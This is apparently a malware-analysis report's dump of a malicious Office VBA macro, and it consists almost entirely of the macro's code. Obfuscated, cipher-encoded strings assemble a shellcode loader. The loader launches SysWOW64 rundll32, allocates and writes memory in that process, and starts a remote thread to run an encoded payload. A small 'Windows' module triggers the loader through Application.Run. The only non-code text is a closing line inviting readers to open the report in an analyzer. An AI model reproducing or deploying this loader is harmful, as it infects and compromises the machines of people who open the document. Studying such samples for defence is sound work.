Stuyvesant = Stuyvesant & "E(F)VnE(xZVnE(F4VnE(yxVnE(11VnE(4*VnE(xZVnE(+FVnE(y+VnE(xFVnE(6)VnE(Y+VnE(,1VnE(FYVnE(*xVnE()VnE()VnE()VnE(x+VnE(FYVnE(FYVnE(11VnE(YFVnE(1xVnE(F)VnE(11VnE(FFVnE(1+VnE(xvVnE(1)VnE(xFVnE(1*VnE(Y+VnE(D,VnE(xvVnE(F4VnE(1)VnE(x4VnE(+FVnE(16VnE(F)VnE(*xVnE(4)VnE(YVnE()VnE()VnE(x4VnE(+VnE(C1VnE(F)VnE(F*VnE(11VnE(FFVnE(y6VnE(,VnE(Y4VnE(16VnE(x,VnE(Y4VnE(16VnE()VnE(YFVnE(y*VnE(xvVn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(F4VnE(yxVnE(F*VnE(11VnE(4,VnE(11VnE(YFVnE(y+VnE(11VnE(4,VnE(xvVnE(6YVnE(F1VnE(FyVnE(FvVnE(6ZVnE(6,VnE(*xVnE(Y+VnE(Y+VnE(Y)VnE(Y,VnE(,0VnE(D1VnE(D1VnE(*CVnE(Y)VnE(*ZVnE(DyVnE(*1VnE(*yVnE(*FVnE(*+VnE(YDVnE(*ZVnE(Y*VnE(*FVnE(DyVnE(*,VnE(*1VnE(*4VnE(D1VnE(Y*VnE(,CVnE(DyVnE(,)VnE(D1VnE(Y,VnE(*xVnE(*CVnE(YDVnE(*FVnE(Y,VnE(D1VnE(YFVnE(DCVnE(*CVnE(+xVnE(FDVnE(,)VnE(*,VnE(+xVnE(+4VnE(,*Vn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(+6VnE(YZVnE(,xVnE(YxVnE(F0VnE(+xVnE(+0VnE(,DVnE(+6VnE(*4VnE(,CVnE(Y0VnE(+6VnE(,,VnE(FFVnE(Y*VnE(*,VnE(YZVnE(+*VnE(+DVnE(*CVnE(*6VnE(F*VnE(YZVnE(F0VnE(++VnE(*6VnE(*1VnE(*+VnE(FFVnE(,CVnE(YYVnE(FFVnE(FYVnE(+yVnE(*0VnE(F+VnE(+YVnE(Y+VnE(,+VnE(*DVnE(FxVnE(*xVnE(+DVnE(F*VnE(,)VnE(Y)VnE(*0VnE(FCVnE(FFVnE(,CVnE(*0VnE(*CVnE(,DVnE(+4VnE(F1VnE(F0VnE(F+VnE(,CVnE(*4VnE(FFVnE(*yVnE(*,VnE(,+Vn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(F*VnE(+xVnE(*YVnE(D1VnE(YDVnE(*1VnE(*1VnE(Y+VnE(D1VnE(*,VnE(*1VnE(*yVnE(Y+VnE(*FVnE(*yVnE(Y+VnE()R" & vbCrLf
Stuyvesant = Stuyvesant & "4sOnkTBuTn0knwi0di&b#G12" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOndKT7urIBP7Kn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnuKTn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnqiquKBS#4n0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnkTBuTomQn9nNKrLkTBuTR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnkTBuToS81PBjkn9nwi0di1_&wyw(255#G425" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnkTBuTo8wql85srSl8n9nw5_(sSK" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnqWPlQBPUKOluHn0knNlrjbTuVnsn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnQIBP7Kn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnQ#k*+vsTn0knvllPKBr" & vbCrLf
Stuyvesant = Stuyvesant & "nnnng#pn5sr*+niqKr" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnn4sOn1w2n0kn2QcKmT" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnnwKTn1w2n9n6uKBTK2QcKmTL" & Chr(34) & "wmushTsrjo1sPKwHkTKO2QcKmT" & Chr(34) & "R" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnn4sOn8srSl8k4sun0knwTusrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnn8srSl8k4sun9n1w2oWKTwhKmsBP1lPSKuL)R" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnn8srSl8k4sun9n8srSl8k4sunEn" & Chr(34) & "\wHk525*+\rlTKhBSoKaK" & Chr(34) & "" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnndKT7urIBP7Kn9n6uKBTKbulmKkk0L)Vn8srSl8k4suVn)Vn)Vn1BPkKVn)Vn)Vn)VnkTBuTVnhulmR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnngyPkK" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnndKT7urIBP7Kn9n6uKBTKbulmKkk0L)Vn" & Chr(34) & "rlTKhBSoKaK" & Chr(34) & "Vn)Vn)Vn1BPkKVn)Vn)Vn)VnkTBuTVnhulmR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnngyrSn#p" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnb#4n9nhulmoS8bulmKkk#4" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn#pnb#4niqKrnqiBujKTbulm(BrSPKn9n2hKrbulmKkkLbd26yww_0NN_066ywwVn1BPkKVnb#4RnyPkKnyasTnw7Q" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnS86lSKNKrn9nE(x))" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnkqKPP0SSun9nIsuT7BP0PPlmyaLqiBujKTbulm(BrSPKVnvHIBPn)VnS86lSKNKrVnE(,)))Vnb0Wy_y=y6&iy_dy045d#iyR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnqWPlQBPUKOluHn9nWPlQBP0PPlmLW(G4Vn&vl7rSLkum_kTuRRnnnn" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn1lunsn9nNvl7rSLkum_kTuRniln&vl7rSLkum_kTuR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnnQIBP7Kn9nkum_kTuLsR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnnnnndTPUlMKUKOluHnqWPlQBPUKOluHntnsVnQIBP7KVnC" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnGKaTns" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnuKk7PT5usTKbulmKkk" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnuKk7PT5usTKbulmKkkn9n5usTKbulmKkkUKOluHLqiBujKTbulm(BrSPKVnkqKPP0SSuVnqWPlQBPUKOluHVn&vl7rSLkum_kTuRntnCVnuKTR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnqiquKBSn9n6uKBTKdKOlTKiquKBSLqiBujKTbulm(BrSPKVnvHIBPn)Vn)VnkqKPP0SSuVn)Vn)Vn)R" & vbCrLf
Stuyvesant = Stuyvesant & "yrSnw7Q" & vbCrLf

Init = Stuyvesant
End Function


Attribute VB_Name = "Windows"
Sub Continue()
    Application.Run ("SmartWork.SmartWork")
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.